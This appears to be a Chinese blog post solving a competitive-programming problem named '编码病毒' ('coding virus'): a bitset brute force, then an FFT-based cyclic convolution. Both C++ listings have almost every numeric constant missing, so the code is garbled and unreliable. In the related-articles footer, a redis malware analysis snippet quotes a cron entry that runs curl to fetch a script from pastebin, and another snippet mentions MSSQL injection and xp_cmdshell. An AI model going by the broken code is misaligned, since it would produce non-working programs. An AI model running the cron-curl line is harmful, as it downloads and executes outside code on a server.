题意看起来好麻烦实际上很简单,首先4s可以先bitset暴力一下,听说卡卡就能过:$O(2^{22}+n^2/32)$

 #include<cstdio>
#include<bitset>
#include<cstring>
#include<algorithm>
#define rep(i,l,r) for (int i=l; i<=r; i++)
using namespace std; const int N=,inf=0x3f3f3f3f;
bitset<N>data,test;
int n,m,ans,cost[N],cnt[];
char s[N]; int main(){
freopen("virus.in","r",stdin);
freopen("virus.out","w",stdout);
scanf("%d%d",&m,&n); int t=(<<m)-; ans=inf;
memset(cost,0x3f,sizeof(cost)); cost[]=;
rep(i,,t){
cnt[i]=cnt[i>>]+(i&);
cost[i%n]=min(cost[i%n],cnt[i]+);
cost[((n-i)%n+n)%n]=min(cost[((n-i)%n+n)%n],cnt[i]);
}
scanf("%s",s); rep(i,,n) data[i]=s[i]=='';
scanf("%s",s); rep(i,,n) test[i]=s[i]=='';
for (int i=; i<n; i++){
if (i) { int j=data[]; data>>=; data[n-]=j; }
int j=(data^test).count();
ans=min(ans,min(j,n-j+)+cost[i]);
}
printf("%d\n",ans);
return ;
}

然后我们观察一下我们的这个暴力到底在做什么事情,发现后面的主循环实际上就是一个类似循环卷积的问题,我们要把它变成真正的卷积。

观察异或真值表:

0 0 0

0 1 1

1 0 1

1 1 0

我们变换一下:把a中0位上的值变成-1,1位上的值变成1,b中相反,于是就有:

0 0 1

0 1 -1

1 0 -1

1 1 1

最后我们将所有结果加1,再除以2,就变成上面的那个表了,这就成功将循环异或变成了循环卷积,直接做即可。

 #include<cmath>
#include<cstdio>
#include<complex>
#include<cstring>
#include<algorithm>
#define rep(i,l,r) for (int i=l; i<=r; i++)
using namespace std;
typedef complex<double> C;
const int N=,inf=0x3f3f3f3f;
const double pi=acos(-.);
char s[N];
int n,m,k,ans,cost[N],rev[N],cnt[],data[N],test[N],c[N]; C a[N],b[N]; void DFT(C a[],int n,int f){
for (int i=; i<n; i++) if (i<rev[i]) swap(a[i],a[rev[i]]);
for (int i=; i<n; i<<=){
C wn=C(cos(pi/i),f*sin(pi/i));
for (int p=i<<,j=; j<n; j+=p){
C w=C(,);
for (int k=; k<i; k++,w=w*wn){
C x=a[j+k],y=a[i+j+k]*w; a[j+k]=x+y; a[i+j+k]=x-y;
}
}
}
if (f==-) for (int i=; i<n; i++) a[i].real()/=n;
} void mul(int test[],int data[],int res[],int m){
int n,L=;
for (n=; n<=m; n<<=) L++;
for (int i=; i<n; i++) rev[i]=(rev[i>>]>>)|((i&)<<(L-));
for (int i=; i<n; i++) a[i]=C((double)test[i],),b[i]=C((double)data[i],);
DFT(a,n,); DFT(b,n,); for (int i=; i<n; i++) a[i]=a[i]*b[i]; DFT(a,n,-);
m/=; for (int i=; i<m; i++) res[i]=int(a[i+m-].real()+0.5);
} int main(){
freopen("virus.in","r",stdin);
freopen("virus.out","w",stdout);
scanf("%d%d",&m,&n); int t=(<<m)-; ans=inf;
memset(cost,0x3f,sizeof(cost)); cost[]=;
rep(i,,t){
cnt[i]=cnt[i>>]+(i&);
cost[i%n]=min(cost[i%n],cnt[i]+);
cost[((n-i)%n+n)%n]=min(cost[((n-i)%n+n)%n],cnt[i]);
}
scanf("%s",s); for (int i=; i<n; i++) data[i]=data[i+n]=((s[i]=='')?:-);
scanf("%s",s); for (int i=; i<n; i++) test[n-i-]=((s[i]=='')?:-);
mul(test,data,c,*n);
for (int i=; i<n; i++) k=(c[i]+n)>>,ans=min(ans,cost[i]+min(k+,n-k));
printf("%d\n",ans);
return ;
}

[Nescafé41]编码病毒(循环卷积)的更多相关文章

  1. AHOI2018训练日程(3.10~4.12)

    (总计:共90题) 3.10~3.16:17题 3.17~3.23:6题 3.24~3.30:17题 3.31~4.6:21题 4.7~4.12:29题 ZJOI&&FJOI(6题) ...

  2. 病毒四度升级:安天AVL Team揭露一例跨期两年的电信诈骗进化史

    自2014年9月起,安天AVL移动安全团队持续检测到一类基于Android移动平台的间谍类病毒,病毒样本大多伪装成名为"最高人民检察院"的应用.经过反编译逆向分析以及长期的跟踪调查 ...

  3. Atitit.木马病毒自动启动-------------win7计划任务的管理

    Atitit.木马病毒自动启动-------------win7计划任务的管理 1. 计划任务的Windows系统中取代AT 的schtasks命令1 2. Win本身的系统计划任务列表1 2.1.  ...

  4. Atitit.病毒木马的快速扩散机制原理nio 内存映射MappedByteBuffer

    Atitit.病毒木马的快速扩散机制原理nio 内存映射MappedByteBuffer 1. Java NIO(New Input/Output)1 1.1. 变更通知(因为每个事件都需要一个监听者 ...

  5. html-----018----HTML Web Server/HTML URL 字符编码

    HTML Web Server 如果希望向世界发布您的网站,那么您必须把它存放在 web 服务器上. 托管自己的网站 在自己的服务器上托管网站始终是一个选项.有几点需要考虑: 硬件支出 如果要运行“真 ...

  6. 基于Linux系统的病毒

    虽然在Linux里传播的病毒不多,但也是存在一些,我从一些安全网站搜集了一些资料. 1.病毒名称: Linux.Slapper.Worm 类别: 蠕虫 病毒资料: 感染系统:Linux 不受影响系统: ...

  7. 安全威胁无孔不入:基于Linux系统的病毒(转)

    虽然在Linux里传播的病毒不多,但也是存在一些.我从一些安全网站搜集了一些资料. 1.病毒名称: Linux.Slapper.Worm 类别: 蠕虫 病毒资料: 感染系统:Linux 不受影响系统: ...

  8. [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告

    Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...

  9. 记一次redis病毒分析笔记

    起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...

随机推荐

  1. Go从入门到精通(持续更新)

    1.0 搭建环境 由于我们 Go官方网站 在我大天朝被和谐了,所以我们只能去 Go语言中文网 来下载了.Go的安装很简单,不像Java还要配置一大堆的东西,选择自己系统的对应版本,下载安装,像安装QQ ...

  2. Berland National Library

    题目链接:http://codeforces.com/problemset/problem/567/B 题目描述: Berland National Library has recently been ...

  3. JS对象操作

    一.String常用操作 1.截取 substr(start,length) //返回从指定位置开始的指定长度的字符串. substring(start,end) //返回两个指定的位置之间的字符串. ...

  4. Python 用ctypes观察Python对象的内存结构 -- (转)

    !!!强烈推荐的好文章!!! 对象的两个基本属性 Python所有对象结构体中的头两个字段都是相同的: refcnt:对象的引用次数,若引用次数为0则表示此对象可以被垃圾回收了. typeid:指向描 ...

  5. Python3.3.3 安装(Linux系统)

    1.wget http://www.python.org/ftp/python/3.3.3/Python-3.3.3.tgz //检查http://www.python.org/ftp/python网 ...

  6. 重拾Object--(一)初识

    Java中的Object类有着特殊的意义,他是所有其它类的父类,查看Object类的源代码,可以发现代码不多,逻辑也很简单. Java所有类的源代码我们都可以在JDK的文件中查看,在JDK下会有一个名 ...

  7. Windows平台下搭建Git服务器的图文教程

    Git没有客户端服务器端的概念,但是要共享Git仓库,就需要用到SSH协议(FTP , HTTPS , SFTP等协议也能实现Git共享,此文档不讨论),但是SSH有客户端服务器端,所以在window ...

  8. mssql注入中的储存用法删除与恢复

    删除: use master exec sp_dropextendedproc 'xp_cmdshell' exec sp_dropextendedproc 'xp_enumgroups' exec ...

  9. android CVE 漏洞汇总

    arm exploits 技术教程: Learning Pentesting for Android Devices CVE-2015-1530 ,CVE-2015-1474 两个android整数溢 ...

  10. Style2Paints:用AI技术为线稿快速上色的工具(GitHub 3310颗星)

    python 开源项目: Style2Paints:用AI技术为线稿快速上色的工具(GitHub 3310颗星) https://github.com/lllyasviel/style2paints